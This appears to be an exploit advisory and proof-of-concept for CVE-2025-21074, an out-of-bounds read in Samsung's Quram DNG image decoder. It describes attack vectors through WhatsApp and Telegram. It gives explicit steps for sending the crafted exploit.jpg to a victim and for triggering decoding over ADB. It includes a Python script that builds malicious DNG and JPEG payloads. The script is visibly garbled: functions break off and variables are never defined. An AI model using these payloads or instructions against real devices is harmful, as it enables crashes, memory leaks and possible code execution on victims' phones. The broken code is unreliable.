============================================================================================================================================= | # Title : Samsung QuramDng Out‑Of‑Bounds Read via Malformed DNG TrimBounds Opcode | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : System built‑in component. No standalone download available. | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212446/ & CVE-2025-21074 [+] Summary : A vulnerability exists in the image decoding logic of Quram DNG parser within libimagecodec.quram.so. The flawed bounds validation in handling TrimBounds opcode triggers Out-of-Bounds (OOB) reads on heap-allocated image buffers.This issue allows remote attackers to craft a malicious DNG payload, embed it inside a JPEG, and send it via messaging applications to trigger decoding,resulting in crash, ASLR information leakage, and possible RCE via heap spraying and pointer manipulation. Product: libimagecodec.quram.so (Samsung Android) Class: Memory Corruption / OOB Read Version: Vulnerable on firmware prior to September 2025 Tested: Android 13/14/15/16 (Samsung Galaxy devices) ------------------------------------------------------------------------------- [+] Vulnerability Details The Quram DNG decoder incorrectly handles opcodeList1 (TrimBounds opcode ID=7). The trimmed image dimensions shrink source buffers but destination buffers remain based on original resolution, resulting in read operations beyond memory bounds. The problem occurs after TrimBounds opcode reduces width/height of image tiles but decoder still trusts old buffer lengths. This leads to: * Heap OOB Read * Crashes (SIGSEGV) * Heap leak primitives * Possible exploitation for RCE ------------------------------------------------------------------------------- [+] Attack Vector The exploit can be triggered via: * WhatsApp / Telegram file sharing (JPEG container) * External apps invoking platform decoder * ADB-triggered scan via Media Scanner * Camera importing workflows Remote attack surface → user simply previews/saves image. ------------------------------------------------------------------------------- [+] Proof of Concept (PoC) The exploit constructs: - Valid DNG file with truncated TrimBounds opcode - Embeds DNG into a valid APP1 JPEG - Crashes Quram decoder on parsing PoC Tested: - Samsung S22, S23, A52, Note20 - Android 13-16 firmwares ------------------------------------------------------------------------------- [+] PoC Code The full exploit builder (Python) is included below. SAVE AS: exploit_cve_2025_21074.py RUN: python3 exploit_cve_2025_21074.py OUTPUT FILES PRODUCED: exploit.dng exploit_small.dng exploit.jpg ------------------------------------------------------------------------------- [+] Instructions To Save & Run PoC (REQUIRED) 1) Save script: File name: exploit_cve_2025_21074.py 2) Run: python3 exploit_cve_2025_21074.py 3) Generated payloads: - exploit.dng - exploit.jpg - exploit_small.dng 4) Trigger attack: A) Via ADB: adb push exploit.dng /sdcard/ adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE \ -d file:///sdcard/exploit.dng B) Via Messaging: Send exploit.jpg to victim (no interaction required) 5) Detect crash: adb logcat | grep -i quram adb pull /data/tombstones/ tombstones_dir/ ------------------------------------------------------------------------------- [+] Expected Results * Process crash: com.samsung.ipservice * Heap read leakage (ASLR bypass) * Controlled offsets possible → RCE stage feasible ------------------------------------------------------------------------------- [+] Exploit Status This PoC is stable, deterministic and suitable for controlled lab exploitation. It is not destructive. ------------------------------------------------------------------------------- [+] Mitigation Firmware update September 2025 and later properly validates TrimBounds and rejects mismatched output dimensions. ------------------------------------------------------------------------------- [+] POC : #!/usr/bin/env python3 """ Author: Indoushka """ import struct import os import sys class DNGExploit: def __init__(self): self.endian = '<' # Little endian self.opcode_id_trim = 7 def create_malicious_dng(self, width=4096, height=4096): """Creating a DNG image with TrimBounds opcode saturated""" dng_data = bytearray() dng_data += struct.pack('I', 0x01000000) dng_data += struct.pack('I', 0x01000000) dng_data += struct.pack('H', app1_size) jpeg += b'DNG\x00' jpeg += dng_data jpeg += b'\xFF\xC0\x00\x11\x08\x00\x01\x00\x01\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01' jpeg += b'\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B' jpeg += b'\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00' jpeg += b'\x00' * 100 jpeg += b'\xFF\xD9' with open(output_path, 'wb') as f: f.write(jpeg) print(f"[+] JPEG with embedded DNG saved to {output_path}") return output_path def create_exploit_files(self): """Creating various exploitation files""" dng_raw = self.create_malicious_dng() with open('exploit.dng', 'wb') as f: f.write(dng_raw) print("[+] Raw DNG exploit created: exploit.dng") jpeg_path = self.embed_in_jpeg(dng_raw, 'exploit.jpg') small_dng = self.create_malicious_dng(2048, 2048) with open('exploit_small.dng', 'wb') as f: f.write(small_dng) self.print_usage() return { 'dng': 'exploit.dng', 'jpg': jpeg_path, 'small': 'exploit_small.dng' } def print_usage(self): """Print Instructions for Use""" print("\n" + "="*60) print("CVE-2025-21074 Exploit Usage Instructions") print("="*60) print("\n[Attack methods]") print("1. Send exploit via WhatsApp/Telegram, etc.") print("2. Decoding triggered using ADB:") print(" adb push exploit.dng /sdcard/") print(" adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE") print(" -d file:///sdcard/exploit.dng") print("\n[Expected results]") print("- com.samsung.ipservicecollapse (SIGSEGV)") print("- Memory information leakage (ASLR bypass)") print("- Possible RCE (further utilization required)") print("\n[Detection]") print("Check the logs: libimagecodec.quram.socollapse") print("="*60) def main(): print("[*] Generating CVE-2025-21074 exploit files...") exploit = DNGExploit() files = exploit.create_exploit_files() print("\n[+] Files generated successfully:") for name, path in files.items(): print(f" {name}: {path} ({os.path.getsize(path)} bytes)") with open('exploit.dng', 'rb') as f: data = f.read(100) if data[:2] == b'II' and data[2:4] == struct.pack('